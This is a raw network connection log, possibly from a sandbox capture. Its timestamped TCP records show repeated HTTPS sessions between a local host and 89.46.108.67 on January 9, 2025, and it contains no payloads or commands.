Jan 9, 2025 13:19:16.236373901 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.236393929 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.236583948 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.236604929 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.237380981 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.237420082 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.237579107 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.237648964 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.237648964 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.237732887 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.237834930 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.239548922 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.239763975 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.239800930 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.276448011 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.276515961 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.276868105 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.276878119 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.277035952 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.277043104 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.277201891 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.277818918 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.277867079 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.277904034 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.277919054 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.277944088 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.278337002 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.278352022 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.287545919 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.287571907 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.287663937 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.287677050 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.287873983 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.288295984 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.288305044 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.288333893 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.288836956 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.288932085 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.293698072 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.293812990 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.293833017 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.395845890 CET	49678	443	192.168.2.16	20.189.173.10
Jan 9, 2025 13:19:16.568685055 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568717957 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568728924 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568764925 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568779945 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568779945 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.568792105 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568818092 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.568823099 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568837881 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.568876982 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.568883896 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568922043 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.568979979 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.570022106 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.570039034 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.570446968 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.570496082 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.570700884 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.571201086 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.571218967 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.666405916 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.666724920 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.666790962 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.667902946 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.668303013 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.668457031 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.668467999 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.668487072 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.711510897 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.912925005 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.913219929 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.913250923 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.913955927 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.914294004 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.914432049 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.914460897 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.955349922 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.965506077 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.989032030 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.989393950 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.989417076 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.992584944 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.992660046 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.993004084 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.993145943 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.993153095 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.993170977 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.997535944 CET	49678	443	192.168.2.16	20.189.173.10
Jan 9, 2025 13:19:17.000041008 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.000072002 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.000135899 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.000166893 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.000720024 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.000776052 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.001142025 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.001169920 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.001185894 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.001215935 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.001523018 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.001554012 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.001617908 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.001630068 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.002007008 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.002022028 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.002146959 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.002165079 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.002608061 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.002938032 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.003036976 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.003124952 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.044497013 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.044531107 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.047338963 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.091491938 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.093950987 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.094230890 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.094254017 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.097662926 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.097728014 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.098033905 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.098095894 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.098412037 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.098421097 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.139504910 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.235507965 CET	49673	443	192.168.2.16	204.79.197.203
Jan 9, 2025 13:19:17.285234928 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.285558939 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.285584927 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.286638021 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.286706924 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.287147045 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.287208080 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.287321091 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.287329912 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.291198969 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.291229010 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.291287899 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.291302919 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.292011023 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.292021990 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.292076111 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.292577028 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.292608023 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.292663097 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.293158054 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.293171883 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.331496954 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.368468046 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.368489981 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.368551016 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.368573904 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.369462967 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.369518995 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.369611979 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.369630098 CET	443	49754	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.369699955 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.369723082 CET	49754	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.370203018 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.370250940 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.370358944 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.370708942 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.370728970 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.376873970 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.376904964 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.376955986 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.376971006 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.377013922 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.377549887 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.377585888 CET	443	49755	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.377635002 CET	49755	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.378123045 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.378155947 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.378233910 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.378720999 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.378742933 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.502301931 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.502379894 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.502401114 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.502425909 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.502460957 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.502474070 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.502497911 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.502511978 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.502738953 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.502793074 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.503587961 CET	49756	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.503601074 CET	443	49756	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.504209042 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.504262924 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.504336119 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.504813910 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.504836082 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.635512114 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.635544062 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.635551929 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.635626078 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.635639906 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.635868073 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.635921955 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.636825085 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.636838913 CET	443	49757	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.636847973 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.636889935 CET	49757	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.637260914 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.637291908 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.637377024 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.637975931 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.638003111 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.708496094 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.708849907 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.708878994 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.709382057 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.709644079 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.709728956 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.709775925 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:17.751379013 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:17.763482094 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.003094912 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.003907919 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.003937006 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.004379988 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.004689932 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.004746914 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.004846096 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.051150084 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.051328897 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.052496910 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.052575111 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.053282022 CET	49758	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.053297043 CET	443	49758	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.053769112 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.053806067 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.053919077 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.054404974 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.054414988 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.081386089 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.081757069 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.081809998 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.082159996 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.082714081 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.082784891 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.082951069 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.086570978 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.087073088 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.087086916 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.088538885 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.088612080 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.089023113 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.089099884 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.089325905 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.089333057 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.127335072 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.130600929 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.195352077 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.195810080 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.195883036 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.199033976 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.199125051 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.199651957 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.199739933 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.199865103 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.199882984 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.210499048 CET	49678	443	192.168.2.16	20.189.173.10
Jan 9, 2025 13:19:18.242594957 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.328732014 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.329083920 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.329090118 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.329978943 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.330054998 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.330589056 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.330641031 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.330847025 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.330857992 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.354937077 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.354967117 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.355055094 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.355076075 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.356225014 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.356266975 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.356437922 CET	443	49759	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.356502056 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.356519938 CET	49759	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.356812000 CET	49765	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.356857061 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.357053995 CET	49765	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.357507944 CET	49765	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.357521057 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.384473085 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.439529896 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.439557076 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.439734936 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.439774990 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.440547943 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.440638065 CET	443	49760	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.440701008 CET	49760	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.441071987 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.441097975 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.441540003 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.441776037 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.441783905 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.444444895 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.444477081 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.444547892 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.444556952 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.445276976 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.445305109 CET	443	49761	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.445419073 CET	49761	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.445651054 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.445686102 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.445749998 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.446216106 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.446228027 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.545264006 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.545329094 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.545474052 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.545605898 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.545605898 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.546516895 CET	49762	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.546561956 CET	443	49762	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.546986103 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.547034979 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.547260046 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.547602892 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.547619104 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.681036949 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.681057930 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.681140900 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.681152105 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.681612968 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.681668997 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.682061911 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.682061911 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.682075977 CET	443	49763	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.682385921 CET	49763	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.682605982 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.682641983 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.682708025 CET	49769	443	192.168.2.16	89.46.108.67
